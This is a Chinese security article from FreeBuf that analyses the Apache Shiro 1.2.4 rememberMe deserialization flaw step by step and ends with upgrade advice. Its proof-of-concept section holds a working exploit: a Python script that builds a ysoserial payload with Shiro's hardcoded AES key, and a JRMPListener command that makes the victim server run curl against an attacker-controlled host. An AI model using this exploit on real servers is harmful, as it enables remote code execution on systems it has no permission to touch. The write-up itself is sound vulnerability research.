freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

深入分析shiro反序列化漏洞
2019-11-22 16:31:13

## shiro介绍

shiro提供的rememberMe的功能,登入页面时勾选rememberMe的时候,会把cookie写到客户端保存,关闭浏览器再打开,访问网页时还是属于登入状态。

## 环境

```

git clone https://github.com/apache/shiro.git

git checkout shiro-root-1.2.4

```

导入shiro/samples/web的maven项目。

并修改pom.xml文件:

```

<properties>

<maven.compiler.source>1.6</maven.compiler.source>

<maven.compiler.target>1.6</maven.compiler.target>

</properties>

...

<dependencies>

<dependency>

<groupId>javax.servlet</groupId>

<artifactId>jstl</artifactId>

<!-- 这里需要将jstl设置为1.2 -->

<version>1.2</version>

<scope>runtime</scope>

</dependency>

.....

<dependency>

<groupId>org.apache.commons</groupId>

<artifactId>commons-collections4</artifactId>

<version>4.0</version>

</dependency>

<dependencies>

```

## shiro过滤器

在使用shiro时,如果设置访问一般网页时,使用user拦截器,则user拦截器会判断用户是否登入,判断的标准:账号密码通过验证(isAuthenticated()==true)或者cookie中的rememberMe字段通过验证(isRemembered()==true)。所以触发rememberMe的条件是拦截器设置了允许通过rememberMe字段来验证用户身份!

如:当访问login网页时,

20191122151954080_2127411325.png


首先触发了org.apache.shiro.web.servlet中的doFilter方法,

20191122152044119_1946900372.png


继续跟踪,并在org.apache.shiro.mgt.DefaultSecurityManager#resolvePrincipals处下个断点,

20191122152147171_346222865.png


该函数的作用获取身份认证信息和rememberMe实体,并返回一个上写文context。由于我们访问的页面没有登入,且cookie字段中的没有rememberMe。所以principals为null。

**注意点**:如果没有设置rememberMe身份验证,则不会触发漏洞

## shiro生成cookie的过程

当我们登入的时候,点击Remember Me框,则shiro会通过登入的用户信息生成cookie并发送到客户端存储,下次再次访问时无需登入。

20191122152433852_1434492332.png


只有在登入成功后才会生成cookie,所以在org.apache.shiro.mgt.DefaultSecurityManager#login中下断点,

20191122152459801_1861202702.png


该函数的authenticate(token)会根据token判断是否登入成功,且此时rememberMe=true,首次认证登入后,会生成cookie。跟进onSuccessfulLogin函数,直到跟踪到org.apache.shiro.mgt.AbstractRememberMeManager的onSuccessfulLogin函数,

20191122152532844_987010312.png

其中的forgetIdentity函数的作用是清除之前cookie中的rememberMe字段的值,跟踪forgetIdentity到removeForm,

20191122152612553_1518624356.png


首次登入该函数会设置rememberMe=deleteMe,且Max-Age=0,来删除此cookie

重新回到onSuccessfulLogin函数,因为 token中rememberMe=true,所以进入rememberIdentity函数,

20191122152637135_676406697.png


继续跟踪

20191122152657027_1736412908.png


(注意这两个函数名都是 rememberIdentity,但是输入 参数不一样,所以是不同。)

注意 convertPrincipalsToBytes是关键,它将登入的用户序列化并AES加密后输出,

20191122152720627_1736465673.png


跟踪到encryt函数

20191122153426892_475803381.png

生成一个cipherService对象 ,算法是AES,模式是CBC,补码方式是PKCS5Padding。getEncryptionCipherKey函数的返回正是shiro默认的AES key,

20191122153616622_1745806686.png


将 key代入encrypt函数

20191122153636029_703902641.png


进入org.apache.shiro.crypto.JcaCipherService#encrypt,

20191122153656752_4275964.png

使用generateInitializationVector初始化生成一个iv向量。继续encrtpy,

20191122153719984_999166597.png

返回AES加密后的结果,最终返回值附值到org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity方法中的bytes中。

20191122153954563_334823545.png


进入org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity方法中,

20191122154020205_972165675.png


该方法主要作用是对序列化的字节数组serialized进行base64编码,然后返回到cookie中。

至此,cookie生成过程结束,将cookie返回到客户端。

## shiro解密cookie过程

base64解码->AES解密->反序列化

首先重启浏览器,再登入网页,在org.apache.shiro.mgt.DefaultSecurityManager#resolvePrincipals中下断点

20191122154248033_1132913349.png


由于关闭浏览器后再登入网页后不再有身份认证信息,即principals=null。然后进入getRememberedIdentity函数,看cookie中是否有rememberMe信息,继续跟踪到org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals,

20191122154313169_1284642341.png


继续跟踪到org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity,其作用是获得cookie中rememberMe字段的值,并base64解码,如下图所示:

20191122154340892_183238249.png


获取到rememberMe的值,其中ensurePadding函数是验证base64编码后的值的合法性。然后调用Base64.decode解码成子节数组后返回。回到getRememberedPrincipals,进入convertBytesToPrincipals

20191122154417735_193701145.png


继续跟踪到decrypt函数,与加密相反,对称key依然从org.apache.shiro.mgt.AbstractRememberMeManager中获取,

20191122154440175_2097418810.png


进入org.apache.shiro.crypto.JcaCipherService中的解码函数decrypt,

20191122154457222_373874165.png


其中,我们已知iv向量的长度为16,则截取出base64解码后的的字节数组中的前16个字节作为iv向量,有了key和iv向量,即可获得AES解码后的结果。返回到org.apache.shiro.mgt.AbstractRememberMeManager#decrypt,获得序列化的值。如下:

20191122154526757_165940033.png


最终回到PrincipalCollection org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals函数

20191122154559706_1520360825.png


调用反序列化函数deserialize。

20191122154619954_1943953769.png


看到了readObject(),没错,这就是触发shiro反序列化漏洞的地方。

回到org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals,

20191122154635133_214790125.png


返回了最终结果,principals=root。到此,cookie认证成功。

## shiro指纹探测

传入一个rememberMe=1(即非正常的base64编码数据)

20191122154724347_57620268.png


触发

org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals的解密异常,

20191122154740723_2056203126.png


然后会进入onRememberedPrincipalFailure函数

20191122154758900_1299091158.png


继续跟进forgetIdentity,最终到了熟悉的removeFrom函数

20191122154815461_358853457.png


会向浏览器set-cookie,rememberMe=deleteMe,如下图:

20191122154842849_2810663.png

因此可以证明该服务开启了shiro的rememberMe功能。

## poc

poc脚本:

```

import sys

import uuid

import base64

import subprocess

from Crypto.Cipher import AES

def encode_rememberme(command):

popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

BS = AES.block_size

pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

iv = uuid.uuid4().bytes

encryptor = AES.new(key, AES.MODE_CBC, iv)

file_body = pad(popen.stdout.read())

base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

return base64_ciphertext

if __name__ == '__main__':

payload = encode_rememberme(sys.argv[1])

print "rememberMe={0}".format(payload.decode())

```

1)生成cookie内容

20191122155050263_2141656454.png

2)利用ysoserial.jar(https://github.com/frohoff/ysoserial)包在vps上注册一个rmi服务,rmi目前使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信。

```

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'curl ip:port'//指定vps的ip和端口

```

20191122155132293_846615011.png


3)在vps上另开一个窗口, 启动一个web服务。

20191122155153084_1979328502.png

4)结合之前生成的cookie内容,发送payload

20191122155211538_2052441084.png


最终,可以看到在服务端的反序列化函数执行后,会从vps端注册的rmi服务中读取命令,并执行。

20191122155229292_347477027.png

同时在vps发现,服务端访问了vps的web服务,

20191122155248974_1038356596.png

说明服务端执行了curl命令。

## 相关补丁对比

对比了shiro-core-1.2.4与shiro-core-1.2.5的org.apache.shiro.mgt.AbstractRememberMeManager文件区别,发现1.2.5不再使用默认的硬编码AES的KEY,而是使用了generateNewKey()方法,该方法是继承于org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法

20191122155334495_1207193450.png

## 修复建议

升级 Shiro 版本至 1.2.5 以上

# Shiro
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者